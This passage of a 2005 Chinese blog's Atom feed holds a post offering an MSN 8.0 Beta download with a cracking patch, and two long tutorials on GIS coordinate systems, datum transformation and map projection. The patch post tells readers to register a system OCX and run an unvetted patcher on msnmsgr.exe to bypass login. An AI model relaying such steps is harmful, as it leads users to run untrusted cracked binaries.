	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=131" /> 
	  <id>http://www.openx.cn/default.asp?id=131</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[MSN8.0Beta抢先下载（附登录补丁）]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-07T16:18:35+08:00</updated>
	  <published>2005-11-07T16:18:35+08:00</published>
		  <summary type="html"><![CDATA[<P>　　<STRONG>补丁使用方法：</STRONG> <BR><BR>　　1、把MSWINSCK.OCX复制到system32文件夹， <BR>　　2、在“运行”里使用regsvr32 c:windows\system32\MSWINSCK.OCX注册该文件 <BR>　　3、运行WLM8patch.exe，输入msnmsgr.exe所在的正确位置，点patch，就会告诉你破解成功。 <BR>　　4、点一下“run server”，再运行msnmsgr.exe就可以登录了！ </P>
<P><A href="http://www.it.com.cn/f/edu/0511/4/194431.htm">http://www.it.com.cn/f/edu/0511/4/194431.htm</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=130" /> 
	  <id>http://www.openx.cn/default.asp?id=130</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[有关GIS中坐标的问题]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-07T15:52:54+08:00</updated>
	  <published>2005-11-07T15:52:54+08:00</published>
		  <summary type="html"><![CDATA[自“Mapinfo上的GIS系统开发”一文在计算机世界网上刊登后，有好几位读者向我询问坐标系定义与转换方面的问题，问题可归结为 (1) 地图在Mapinfo上显示得很好,但在MapX中却显示不出来或显示得不对；(2) GPS定位得到的WGS84坐标怎么往北京54坐标地图上转。这些问题也是曾经困惑我的问题，在此我谈谈我个人的一些认识及经验，供各位读者参考，也希望相关方面的专业人士能给予纠正及补充。 <BR><BR>1. 椭球体、基准面及地图投影 <BR><BR>GIS中的坐标系定义是GIS系统的基础，正确定义GIS系统的坐标系非常重要。GIS中的坐标系定义由基准面和地图投影两组参数确定，而基准面的定义则由特定椭球体及其对应的转换参数确定，因此欲正确定义GIS系统坐标系，首先必须弄清地球椭球体(Ellipsoid)、大地基准面(Datum)及地图投影(Projection)三者的基本概念及它们之间的关系。 <BR><BR>基准面是利用特定椭球体对特定地区地球表面的逼近，因此每个国家或地区均有各自的基准面，我们通常称谓的北京54坐标系、西安80坐标系实际上指的是我国的两个大地基准面。我国参照前苏联从1953年起采用克拉索夫斯基(Krassovsky)椭球体建立了我国的北京54坐标系，1978年采用国际大地测量协会推荐的1975地球椭球体建立了我国新的大地坐标系--西安80坐标系，目前大地测量基本上仍以北京54坐标系作为参照，北京54与西安80坐标之间的转换可查阅国家测绘局公布的对照表。 WGS1984基准面采用WGS84椭球体，它是一地心坐标系，即以地心作为椭球体中心，目前GPS测量数据多以WGS1984为基准。 <BR><BR>上述3个椭球体参数如下： <BR><BR>椭球体与基准面之间的关系是一对多的关系，也就是基准面是在椭球体基础上建立的，但椭球体不能代表基准面，同样的椭球体能定义不同的基准面，如前苏联的Pulkovo 1942、非洲索马里的Afgooye基准面都采用了Krassovsky椭球体，但它们的基准面显然是不同的。 <BR><BR>地图投影是将地图从球面转换到平面的数学变换，如果有人说：该点北京54坐标值为X=4231898,Y=21655933，实际上指的是北京54基准面下的投影坐标，也就是北京54基准面下的经纬度坐标在直角平面坐标上的投影结果。 <BR><BR>2. GIS中基准面的定义与转换 <BR><BR>虽然现有GIS平台中都预定义有上百个基准面供用户选用，但均没有我们国家的基准面定义。假如精度要求不高，可利用前苏联的Pulkovo 1942基准面(Mapinfo中代号为1001)代替北京54坐标系；假如精度要求较高，如土地利用、海域使用、城市基建等GIS系统，则需要自定义基准面。 <BR><BR>GIS系统中的基准面通过当地基准面向WGS1984的转换7参数来定义，转换通过相似变换方法实现，具体算法可参考科学出版社1999年出版的《城市地理信息系统标准化指南》第76至86页。假设Xg、Yg、Zg表示WGS84地心坐标系的三坐标轴，Xt、Yt、Zt表示当地坐标系的三坐标轴，那么自定义基准面的7参数分别为：三个平移参数ΔX、ΔY、ΔZ表示两坐标原点的平移值；三个旋转参数εx、εy、εz表示当地坐标系旋转至与地心坐标系平行时，分别绕Xt、Yt、Zt的旋转角；最后是比例校正因子，用于调整椭球大小。 <BR><BR><BR>MapX中基准面定义方法如下： <BR><BR>Datum.Set(Ellipsoid, ShiftX, ShiftY, ShiftZ, RotateX, RotateY, RotateZ, ScaleAdjust, PrimeMeridian) <BR><BR>其中参数： Ellipsoid为基准面采用的椭球体； <BR>ShiftX, ShiftY, ShiftZ为平移参数； <BR>RotateX, RotateY, RotateZ为旋转参数； <BR>ScaleAdjust为比例校正因子，以百万分之一计； <BR>PrimeMeridian为本初子午线经度，在我国取0，表示经度从格林威治起算。 <BR><BR>美国国家测绘局(National Imagery and Mapping Agency)公布了世界大多数国家的当地基准面至WGS1984基准面的转换3参数(平移参数)，可从 <A href="http://164.214.2.59/GandG/wgs84dt/dtp.html" target=_blank><FONT color=#103610><U>http://164.214.2.59/GandG/wgs84dt/dtp.html</U></FONT></A> 下载，其中包括有香港Hong Kong 1963基准面、台湾 Hu-Tzu-Shan 基准面的转换3参数，但是没有中国大陆的参数。 <BR><BR>实际工作中一般都根据工作区内已知的北京54坐标控制点计算转换参数，如果工作区内有足够多的已知北京54与WGS84坐标控制点，可直接计算坐标转换的7参数或3参数；当工作区内有3个已知北京54与WGS84坐标控制点时，可用下式计算WGS84到北京54坐标的转换参数(A、B、C、D、E、F)：x54 = AX84 + BY84 + C，y54 = DX84 + EY84 + F，多余一点用作检验；在只有一个已知控制点的情况下(往往如此)，用已知点的北京54与WGS84坐标之差作为平移参数，当工作区范围不大时精度也足够了。 <BR><BR>从Mapinfo中国的URL(<A href="http://www.mapinfo.com.cn/download%20target=_blank)" target=_blank><FONT color=#103610><U>http://www.mapinfo.com.cn/download)</U></FONT></A>可下载到包含北京54、西安80坐标系定义的Mapinfow.prj文件，其中定义的北京54基准面参数为：(3,24,-123,-94,-0.02,0.25,0.13,1.1,0)，西安80基准面参数为：(31,24,-123,-94,-0.02,0.25,0.13,1.1,0)，文件中没有注明其参数的来源，我发现它们与Mapinfo参考手册附录G"定义自定义基准面"中的一个例子所列参数相同，因此其可靠性值得怀疑，尤其从西安80与北京54采用相同的7参数来看，至少西安80的基准面定义肯定是不对的。因此，当系统精度要求较高时，一定要对所采用的参数进行检测、验证，确保坐标系定义的正确性。 <BR><BR>3. GIS中地图投影的定义 <BR><BR>我国的基本比例尺地形图(1:5千，1:1万，1:2.5万，1:5万，1:10万，1:25万，1:50万，1:100万)中，大于等于50万的均采用高斯-克吕格投影(Gauss-Kruger)，又叫横轴墨卡托投影(Transverse Mercator)；小于50万的地形图采用正轴等角割园锥投影，又叫兰勃特投影(Lambert Conformal Conic)；海上小于50万的地形图多用正轴等角园柱投影，又叫墨卡托投影(Mercator)，我国的GIS系统中应该采用与我国基本比例尺地形图系列一致的地图投影系统。 <BR><BR>在MapX中坐标系定义由基准面、投影两部分参数组成，方法如下： <BR><BR>CoordSys.Set(Type, [Datum], [Units], [OriginLongitude], [OriginLatitude], <BR>[StandardParallelOne], [StandardParallelTwo], [Azimuth], [ScaleFactor], <BR>[FalseEasting], [FalseNorthing], [Range], [Bounds], [AffineTransform]) <BR><BR>其中参数：Type表示投影类型，Type为1时地图坐标以经纬度表示，它是必选参数，它后面的参数都为可选参数； <BR>Datum为大地基准面对象，如果采用非地球坐标(NonEarth)无需定义该参数； <BR>Units为坐标单位，如Units为7表示以米为单位； <BR>OriginLongitude、OriginLatitude分别为原点经度和纬度； <BR>StandardParallelOne、StandardParallelTwo为第一、第二标准纬线； <BR>Azimuth为方位角，斜轴投影需要定义该参数； <BR>ScaleFactor为比例系数； <BR>FalseEasting, FalseNorthing为东伪偏移、北伪偏移值； <BR>Range为地图可见纬度范围； <BR>Bounds为地图坐标范围，是一矩形对象，非地球坐标(NonEarth)必须定义该参数； <BR>AffineTransform为坐标系变换对象。 <BR><BR>相应高斯-克吕格投影、兰勃特投影、墨卡托投影需要定义的坐标系参数序列如下： <BR><BR>高斯-克吕格：投影代号(Type)，基准面(Datum)，单位(Unit)， <BR>中央经度(OriginLongitude)，原点纬度(OriginLatitude)， <BR>比例系数(ScaleFactor)， <BR>东伪偏移(FalseEasting)，北纬偏移(FalseNorthing) <BR><BR>兰勃特: 投影代号(Type)，基准面(Datum)，单位(Unit)， <BR>中央经度(OriginLongitude)，原点纬度(OriginLatitude)， <BR>标准纬度1(StandardParallelOne)，标准纬度2(StandardParallelTwo)， <BR>东伪偏移(FalseEasting)，北纬偏移(FalseNorthing) <BR><BR>墨卡托: 投影代号(Type)，基准面(Datum)，单位(Unit)， <BR>原点经度(OriginLongitude)，原点纬度(OriginLatitude)， <BR>标准纬度(StandardParallelOne) <BR><BR>在城市GIS系统中均采用6度或3度分带的高斯-克吕格投影，因为一般城建坐标采用的是6度或3度分带的高斯-克吕格投影坐标。高斯-克吕格投影以6度或3度分带，每一个分带构成一个独立的平面直角坐标网，投影带中央经线投影后的直线为X轴(纵轴，纬度方向)，赤道投影后为Y轴(横轴，经度方向)，为了防止经度方向的坐标出现负值，规定每带的中央经线西移500公里，即东伪偏移值为500公里，由于高斯-克吕格投影每一个投影带的坐标都是对本带坐标原点的相对值，所以各带的坐标完全相同，因此规定在横轴坐标前加上带号，如(4231898,21655933)其中21即为带号，同样所定义的东伪偏移值也需要加上带号，如21带的东伪偏移值为21500000米。 <BR><BR>假如你的工作区位于21带，即经度在120度至126度范围，该带的中央经度为123度，采用Pulkovo 1942基准面，那么定义6度分带的高斯-克吕格投影坐标系参数为：(8，1001，7，123，0，1，21500000，0)。 <BR><BR>那么当精度要求较高，实测数据为WGS1984坐标数据时，欲转换到北京54基准面的高斯-克吕格投影坐标，如何定义坐标系参数呢？你可选择WGS 1984(Mapinfo中代号104)作为基准面，当只有一个已知控制点时(见第2部分)，根据平移参数调整东伪偏移、北纬偏移值实现WGS84到北京54的转换，如:(8，104，7，123，0，1，21500200，-200)，也可利用 AffineTransform坐标系变换对象,此时的转换系数(A、B、C、D、E、F)中A、B、D、E为0，只有X、Y方向的平移值C、F ；当有3个已知控制点时，可利用得到的转换系数(A、B、C、D、E、F)定义 AffineTransform坐标系变换对象，实现坐标系的转换，如：(8，104，7，123，0，1，21500000，0，map.AffineTransform)，其中AffineTransform定义为AffineTransform.set(7，A、B、C、D、E、F)(7表示单位米)；当然有足够多已知控制点时，直接求定7参数自定义基准面就行了。<!-- viewthread_post_sig -->]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=129" /> 
	  <id>http://www.openx.cn/default.asp?id=129</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[空间参照系统和地图投影]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-07T15:49:57+08:00</updated>
	  <published>2005-11-07T15:49:57+08:00</published>
		  <summary type="html"><![CDATA[导读：一个要素要进行定位，必须嵌入到一个空间参照系中，因为GIS所描述是位于地球表面的信息，所以根据地球椭球体建立的地理坐标（经纬网）可以作为所有要素的参照系统。因为地球是一个不规则的球体，为了能够将其表面的内容显示在平面的显示器或纸面上，必须进行坐标变换。 
<P>下面讲述了地球椭球体参数、常见的投影类型。考虑到目前使用的1：100万以上地形图都是采用高斯——克吕格投影，本章最后又对该种投影类型和相关的地形图分幅标准做了简单介绍。</P>
<P>1．地球椭球体基本要素<BR>1．1地球椭球体<BR>1．1．1地球的形状<BR>为了从数学上定义地球，必须建立一个地球表面的几何模型。这个模型由地球的形状决定的。它是一个较为接近地球形状的几何模型，即椭球体，是由一个椭圆绕着其短轴旋转而成。</P>
<P>地球自然表面是一个起伏不平、十分不规则的表面，有高山、丘陵和平原，又有江河湖海。地球表面约有71%的面积为海洋所占用，29%的面积是大陆与岛屿。陆地上最高点与海洋中最深处相差近20公里。这个高低不平的表面无法用数学公式表达，也无法进行运算。所以在量测与制图时，必须找一个规则的曲面来代替地球的自然表面。当海洋静止时，它的自由水面必定与该面上各点的重力方向（铅垂线方向）成正交，我们把这个面叫做水准面。但水准面有无数多个，其中有一个与静止的平均海水面相重合。可以设想这个静止的平均海水面穿过大陆和岛屿形成一个闭合的曲面，这就是大地水准面（图4-1）。</P>
<P><BR>图4-1：大地水准面(略)</P>
<P>大地水准面所包围的形体，叫大地球体。由于地球体内部质量分布的不均匀，引起重力方向的变化，导致处处和重力方向成正交的大地水准面成为一个不规则的，仍然是不能用数学表达的曲面。大地水准面形状虽然十分复杂，但从整体来看，起伏是微小的。它是一个很接近于绕自转轴（短轴）旋转的椭球体。所以在测量和制图中就用旋转椭球来代替大地球体，这个旋转球体通常称地球椭球体，简称椭球体。</P>
<P>1．1．2地球的大小<BR>关于地球椭球体的大小，由于采用不同的资料推算，椭球体的元素值是不同的。现将世界各国常用的地球椭球体的数据列表如下：</P>
<P>表4-1：各种地球椭球体模型</P>
<P>椭球体名称<BR>&nbsp;年代<BR>&nbsp;长半轴（米）<BR>&nbsp;短半轴（米）<BR>&nbsp;扁率<BR>&nbsp;<BR>白塞尔(Bessel)<BR>&nbsp;1841<BR>&nbsp;6377397<BR>&nbsp;6356079<BR>&nbsp;1：299.15<BR>&nbsp;<BR>克拉克(Clarke)<BR>&nbsp;1880<BR>&nbsp;6378249<BR>&nbsp;6356515<BR>&nbsp;1：293.5<BR>&nbsp;<BR>克拉克(Clarke)<BR>&nbsp;1866<BR>&nbsp;6378206<BR>&nbsp;6356584<BR>&nbsp;1：295.0<BR>&nbsp;<BR>海福特(Hayford)<BR>&nbsp;1910<BR>&nbsp;6378388<BR>&nbsp;6356912<BR>&nbsp;1：297<BR>&nbsp;<BR>克拉索夫斯基<BR>&nbsp;1940<BR>&nbsp;6378245<BR>&nbsp;6356863<BR>&nbsp;1：298.3<BR>&nbsp;<BR>I．U．G．G<BR>&nbsp;1967<BR>&nbsp;6378160<BR>&nbsp;6356775<BR>&nbsp;1：298.25<BR>&nbsp;<BR>埃维尔斯特(Everest)<BR>&nbsp;1830<BR>&nbsp;6377276<BR>&nbsp;6356075<BR>&nbsp;1：300.8<BR>&nbsp;</P>
<P>1．1．3椭球体的半径<BR>地球椭球体表面是一个规则的数学表面。椭球体的大小，通常用两个半径：长半径a和短半径b，或由一个半径和扁率来决定。扁率α表示椭球的扁平程度。扁率的计算公式为：α=（a-b）/a。这些地球椭球体的基本元素a、b、α等，由于推求它的年代、使用的方法以及测定的地区不同，其结果并不一致，故地球椭球体的参数值有很多种。中国在1952年以前采用海福特（Hayford）椭球体，从1953-1980年采用克拉索夫斯基椭球体。随着人造地球卫星的发射，有了更精密的测算地球形体的条件。1975年第16届国际大地测量及地球物理联合会上通过国际大地测量协会第一号决议中公布的地球椭球体，称为GRS（1975），中国自1980年开始采用GRS（1975）新参考椭球体系。由于地球椭球长半径与短半径的差值很小，所以当制作小比例尺地图时，往往把它当作球体看待，这个球体的半径为6371公里。</P>
<P>1．1．4高程<BR>地面点到大地水准面的高程，称为绝对高程。如图2所示，P0P0'为大地水准面，地面点A和B到P0P0'的垂直距离HA和HB为A、B两点的绝对高程。地面点到任一水准面的高程，称为相对高程。如图2中，A、B两点至任一水准面P1P1'的垂直距离HA'和HB'为A、B两点的相对高程。</P>
<P><BR>图4-2：地面点的高程</P>
<P>我国的大地控制网</P>
<P>我国面积辽阔，在约960万平方公里的土地上进行测图工作，需要分成若干单元测区，而且测量的精度又要符合统一要求，为此，在全国范围内建立统一的大地控制网。控制网分为平面控制网和高程控制网。</P>
<P>大地坐标：在地面上建立一系列相连接的三角形，量取一段精确的距离作为起算边，在这个边的两端点，采用天文观测的方法确定其点位（经度、纬度和方位角），用精密测角仪器测定各三角形的角值，根据起算边的边长和点位，就可以推算出其他各点的坐标。这样推算出的坐标，称为大地坐标。</P>
<P>我国1954年在北京设立了大地坐标原点，由此计算出来的各大地控制点的坐标，称为1954年北京坐标系。我国1986年宣布在陕西省泾阳县设立了新的大地坐标原点，并采用1975年国际大地测量协会推荐的大地参考椭球体，由此计算出来的各大地控制点坐标，称为1980年大地坐标系。</P>
<P>我国高程的起算面是黄海平均海水面。1956年在青岛设立了水准原点，其他各控制点的绝对高程都是根据青岛水准原点推算的，称此为1956年黄海高程系。1987年国家测绘局公布：中国的高程基准面启用《1985国家高程基准》取代国务院1959年批准启用的《黄海平均海水面》。《1985国家高程基准》比《黄海平均海水面》上升29毫米。</P>
<P>1．2地图比例尺<BR>1．2．1比例尺表示法<BR>地图比例尺通常认为是地图上距离与地面上相应距离之比。地图比例尺可用下述方法表示。</P>
<P>1）数字比例尺</P>
<P>这是简单的分数或比例，可表示为1：1000000或1/1000000，最好用前者。这意味着，地图上（沿特定线）长度1毫米、1厘米或1英寸（分子），代表地球表面上的1000000毫米、厘米或英寸（分母）。</P>
<P>2）文字比例尺</P>
<P>这是图上距离与实地距离之间关系的描述。例如，1：1000000这一数字比例尺可描述为“图1毫米等于实地1公里”。</P>
<P>3）图解比例尺或直线比例尺</P>
<P>这是在地图上绘出的直线段，常常绘于图例方框中或图廓下方，表示图上长度相当于实地距离的单位。</P>
<P>4）面积比例尺</P>
<P>这关系到图上面积与实地面积之比，表示图上1单位面积（平方厘米）与实地上同一种平方单位的特定数量之比。</P>
<P>1．2．2比例系数<BR>表明确定的比例尺与实际比例尺数值之间的关系叫做比例系数（SF）。可以这样理解比例系数，首先将地球缩小为所选比例尺的地球仪地图；然后将该球形地图转换为平面地图。上述平面地图的数字比例尺就是地球仪的比例尺，叫做主比例尺（或名义比例尺）；真实比例尺就是平面地图上的实际比例尺，当然各处是不相同的。</P>
<P>比例系数可按下式计算：SF=实际比例尺/主比例尺</P>
<P>该公式表明，比例系数是实际比例尺与单位（1）主比例尺之比。当比例系数为2时，实际比例尺为主比例尺的两倍。比例系数只在小比例尺世界地图上比较明显。在大比例尺地图上，各处的比例系数对于1只有很小的变化。</P>
<P>2．坐标系<BR>所谓坐标系，包含两方面的内容：一是在把大地水准面上的测量成果化算到椭球体面上的计算工作中，所采用的椭球的大小；二是椭球体与大地水准面的相关位置不同，对同一点的地理坐标所计算的结果将有不同的值。因此，选定了一个一定大小的椭球体，并确定了它与大地水准面的相关位置，就确定了一个坐标系（图4-3）。</P>
<P><BR>图4-3：现实世界和坐标空间的联系</P>
<P>2．1地理坐标<BR>地球除了绕太阳公转外，还绕着自己的轴线旋转，地球自转轴线与地球椭球体的短轴相重合，并与地面相交于两点，这两点就是地球的两极，北极和南极。垂直于地轴，并通过地心的平面叫赤道平面，赤道平面与地球表面相交的大圆圈（交线）叫赤道。平行于赤道的各个圆圈叫纬圈（纬线）（Parallel），显然赤道是最大的一个纬圈。</P>
<P>通过地轴垂直于赤道面的平面叫做经面或子午圈（Meridian），所有的子午圈长度彼此都相等。</P>
<P>2．1．1纬度（Latitude）<BR>设椭球面上有一点P（图4-4），通过P点作椭球面的垂线，称之为过P点的法线。法线与赤道面的交角，叫做P点的地理纬度（简称纬度），通常以字母φ表示。纬度从赤道起算，在赤道上纬度为0度，纬线离赤道愈远，纬度愈大，至极点纬度为90度。赤道以北叫北纬、以南叫南纬。</P>
<P>2．1．2经度（Longitude）<BR>过P点的子午面与通过英国格林尼治天文台的子午面所夹的二面角，叫做P点的地理经度（简称经度），通常用字母λ表示。国际规定通过英国格林尼治天文台的子午线为本初子午线（或叫首子午线），作为计算经度的起点，该线的经度为0度，向东0-180度叫东经，向西0-180度叫西经。</P>
<P>2．1．3地面上点位的确定<BR>地面上任一点的位置，通常用经度和纬度来决定。经线和纬线是地球表面上两组正交（相交为90度）的曲线，这两组正交的曲线构成的坐标，称为地理坐标系。地表面某两点经度值之差称为经差，某两点纬度值之差称为纬差。例如北京在地球上的位置可由北纬39°56'和东经116°24'来确定。</P>
<P>2．2平面上的坐标系<BR>地理坐标是一种球面坐标。由于地球表面是不可展开的曲面，也就是说曲面上的各点不能直接表示在平面上，因此必须运用地图投影的方法，建立地球表面和平面上点的函数关系，使地球表面上任一点由地理坐标（φ、λ）确定的点，在平面上必有一个与它相对应的点，平面上任一点的位置可以用极坐标或直角坐标表示。</P>
<P>2．2．1平面直角坐标系的建立<BR>在平面上选一点O为直角坐标原点，过该点O作相互垂直的两轴X’OX和Y’OY而建立平面直角坐标系，如图5所示。</P>
<P>直角坐标系中，规定OX、OY方向为正值，OX、OY方向为负值，因此在坐标系中的一个已知点P，它的位置便可由该点对OX与OY轴的垂线长度唯一地确定，即x=AP，y=BP，通常记为P(x，y)。</P>
<P>2．2．2平面极坐标系（Polar Coordinate）的建立</P>
<P>图4-5：平面直角坐标系和极坐标系</P>
<P>如图5所示，设O’为极坐标原点，O’O为极轴，P是坐标系中的一个点，则O’P称为极距，用符号ρ表示，即ρ=O’P。∠OO’P为极角，用符号δ表示，则∠OO’P=δ。极角δ由极轴起算，按逆时针方向为正，顺时针方向为负。</P>
<P>极坐标与平面直角坐标之间可建立一定的关系式。由图5可知，直角坐标的x轴与极轴重合，二坐标系原点间距离OO’用Q表示，则有：</P>
<P>X=Q–ρcosδ</P>
<P>Y=ρsinδ</P>
<P>2．3直角坐标系的平移和旋转<BR>2．3．1坐标系平移<BR>如图4-6所示，坐标系XOY与坐标系X’O’Y’相应的坐标轴彼此平行，并且具有相同的正向。坐标系X’O’Y’是由坐标系XOY平行移动而得到的。设P点在坐标系XOY中的坐标为(x，y)，在X’O’Y’中坐标为(x’，y’)，而(a，b)是O’在坐标系XOY中的坐标，于是：</P>
<P>x=x’+a</P>
<P>y=y’+b</P>
<P>上式即一点在坐标系平移前后之坐标关系式。</P>
<P><BR>图4-6：坐标平移</P>
<P>2．3．2坐标系旋转<BR>如图4-7所示，如坐标系XOY与坐标系X’O’Y’的原点重合，且对应的两坐标轴夹角为θ，坐标系X’O’Y’是由坐标系XOY以O为中心逆时针旋转θ角后得到的。</P>
<P>x=x’cosθ+y’sinθ</P>
<P>y=y’cosθ-x’sinθ</P>
<P>上式即为经过旋转θ角后的二直角坐标系中某一点坐标的关系式。</P>
<P><BR>图4-7：坐标旋转</P>
<P>2．3．3坐标系平移和旋转<BR>如图4-8所示，坐标系X’O’Y’的原点在坐标系XOY中的坐标为a、b，X轴与X’轴之夹角为θ。可以认为坐标系X’O’Y’原是与坐标系XOY重合，后因为O’分别平移了a、b之距离，并且坐标系二坐标轴O’X’与O’Y’又相对OX与OY逆时针旋转了θ角而得到的。</P>
<P>在二坐标系之间引入一个辅助坐标系X”O’Y”，使它的二坐标轴O’X”与O’Y”分别与OX、OY平行。</P>
<P>在X”O’Y”系中有一点P，其坐标为(x”，y”)，则由坐标系平移公式与坐标系旋转公式可得：</P>
<P>x=x”+a</P>
<P>y=y”+b</P>
<P>故有</P>
<P>x”=x’cosθ+y’sinθ</P>
<P>y”=y’cosθ-x’sinθ</P>
<P>即</P>
<P>x=x’cosθ+y’sinθ+a</P>
<P>y”=y’cosθ-x’sinθ+b</P>
<P>上式即坐标系平移和旋转后新、旧坐标系中某一点坐标之关系式。</P>
<P>3．地图投影的基本问题<BR>3．1地图投影的概念<BR>在数学中，投影（Project）的含义是指建立两个点集间一一对应的映射关系。同样，在地图学中，地图投影就是指建立地球表面上的点与投影平面上点之间的一一对应关系。地图投影的基本问题就是利用一定的数学法则把地球表面上的经纬线网表示到平面上。凡是地理信息系统就必然要考虑到地图投影，地图投影的使用保证了空间信息在地域上的联系和完整性，在各类地理信息系统的建立过程中，选择适当的地图投影系统是首先要考虑的问题。由于地球椭球体表面是曲面，而地图通常是要绘制在平面图纸上，因此制图时首先要把曲面展为平面，然而球面是个不可展的曲面，即把它直接展为平面时，不可能不发生破裂或褶皱。若用这种具有破裂或褶皱的平面绘制地图，显然是不实际的，所以必须采用特殊的方法将曲面展开，使其成为没有破裂或褶皱的平面。</P>
<P>3．2地图投影的变形<BR>3．2．1变形的种类<BR>地图投影的方法很多，用不同的投影方法得到的经纬线网形式不同。用地图投影的方法将球面展为平面，虽然可以保持图形的完整和连续，但它们与球面上的经纬线网形状并不完全相似。这表明投影之后，地图上的经纬线网发生了变形，因而根据地理坐标展绘在地图上的各种地面事物，也必然随之发生变形。这种变形使地面事物的几何特性（长度、方向、面积）受到破坏。把地图上的经纬线网与地球仪上的经纬线网进行比较，可以发现变形表现在长度、面积和角度三个方面，分别用长度比、面积比的变化显示投影中长度变形和面积变形。如果长度变形或面积变形为零，则没有长度变形或没有面积变形。角度变形即某一角度投影后角值与它在地球表面上固有角值之差。</P>
<P>1）长度变形</P>
<P>即地图上的经纬线长度与地球仪上的经纬线长度特点并不完全相同，地图上的经纬线长度并非都是按照同一比例缩小的，这表明地图上具有长度变形。</P>
<P>在地球仪上经纬线的长度具有下列特点：第一，纬线长度不等，其中赤道最长，纬度越高，纬线越短，极地的纬线长度为零；第二，在同一条纬线上，经差相同的纬线弧长相等；第三，所有的经线长度都相等。长度变形的情况因投影而异。在同一投影上，长度变形不仅随地点而改变，在同一点上还因方向不同而不同。</P>
<P>2）面积变形</P>
<P>即由于地图上经纬线网格面积与地球仪经纬线网格面积的特点不同，在地图上经纬线网格面积不是按照同一比例缩小的，这表明地图上具有面积变形。</P>
<P>在地球仪上经纬线网格的面积具有下列特点：第一，在同一纬度带内，经差相同的网络面积相等。第二，在同一经度带内，纬线越高，网络面积越小。然而地图上却并非完全如此。如在图4-9-a上，同一纬度带内，纬差相等的网格面积相等，这些面积不是按照同一比例缩小的。纬度越高，面积比例越大。在图4-9-b上，同一纬度带内，经差相同的网格面积不等，这表明面积比例随经度的变化而变化了。由于地图上经纬线网格面积与地球仪上经纬线网格面积的特点不同，在地图上经纬线网格面积不是按照同一比例缩小的，这表明地图上具有面积变形。面积变形的情况因投影而异。在同一投影上，面积变形因地点的不同而不同。</P>
<P>3）角度变形</P>
<P>是指地图上两条所夹的角度不等于球面上相应的角度，如在图4-9-b和图4-9-c上，只有中央经线和各纬线相交成直角，其余的经线和纬线均不呈直角相交，而在地球仪上经线和纬线处处都呈直角相交，这表明地图上有了角度变形。角度变形的情况因投影而异。在同一投影图上，角度变形因地点而变。</P>
<P>地图投影的变形随地点的改变而改变，因此在一幅地图上，就很难笼统地说它有什么变形，变形有多大。</P>
<P>3．2．2变形椭圆<BR>变形椭圆是显示变形的几何图形，从图4-9可以看到，实地上同样大小的经纬线在投影面上变成形状和大小都不相同的图形（比较图4-9中三个格网）。实际中每种投影的变形各不相同，通过考察地球表面上一个微小的圆形（称为微分圆）在投影中的表象——变形椭圆的形状和大小，就可以反映出投影中变形的差异.</P>
<P>3．3地图投影的分类<BR>地图投影的种类很多，为了学习和研究的方便，应对其进行分类。由于分类的标志不同，分类方法就不同。从使用地图的角度出发，需要了解下述几种分类。</P>
<P>3．3．1按变形性质分类<BR>按变形性质地图投影可以分为三类：等角投影、等积投影和任意投影。</P>
<P>1）等角投影</P>
<P>定义为任何点上二微分线段组成的角度投影前后保持不变，亦即投影前后对应的微分面积保持图形相似，故可称为正形投影。投影面上某点的任意两方向线夹角与椭球面上相应两线段夹角相等，即角度变形为零。等角投影在一点上任意方向的长度比都相等，但在不同地点长度比是不同的，即不同地点上的变形椭圆大小不同。</P>
<P>2）等积投影</P>
<P>定义为某一微分面积投影前后保持相等，亦即其面积比为1，即在投影平面上任意一块面积与椭球面上相应的面积相等，即面积变形等于零。</P>
<P>3）等距投影</P>
<P>在任意投影上，长度、面积和角度都有变形，它既不等角又不等积。但是在任意投影中，有一种比较常见的等距投影，定义为沿某一特定方向的距离，投影前后保持不变，即沿着该特定方向长度比为1。在这种投影图上并不是不存在长度变形，它只是在特定方向上没有长度变形。等距投影的面积变形小于等角投影，角度变形小于等积投影。任意投影多用于要求面积变形不大、角度变形也不大的地图，如一般参考用图和教学地图。经过投影后地图上所产生的长度变形、面积变形和角度变形，是相互联系相互影响的。它们之间的关系是：在等积投影上不能保持等角特性，在等角投影上不能保持等积特性；在任意投影上不能保持等角和等积的特性；等积投影的形状变形比较大，等角投影的面积变形比较大。</P>
<P>3．3．2按构成方法分类<BR>地图投影最初建立在透视的几何原理上，它是把椭球面直接透视到平面上，或透视到可展开的曲面上，如圆柱面和圆锥面。圆柱面和圆锥面虽然不是平面，但可以展为平面。这样就得到具有几何意义的方位、圆柱和圆锥投影。随着科学的发展，为了使地图上变形尽量减小，或者为了使地图满足某些特定要求，地图投影就逐渐跳出了原来借助于几何面构成投影的框子，而产生了一系列按照数学条件构成的投影。因此，按照构成方法，可以把地图投影分为两大类：几何投影和非几何投影。</P>
<P>1）几何投影</P>
<P>几何投影是把椭球面上的经纬线网投影到几何面上，然后将几何面展为平面而得到。根据几何面的形状，可以进一步分为下述几类：</P>
<P>（1．1）方位投影：以平面作为投影面，使平面与球面相切或相割，将球面上的经纬线投影到平面上而成。</P>
<P>（1．2）圆柱投影：以圆柱面作为投影面，使圆柱面与球面相切或相割，将球面上的经纬线投影到圆柱面上，然后将圆柱面展为平面而成。</P>
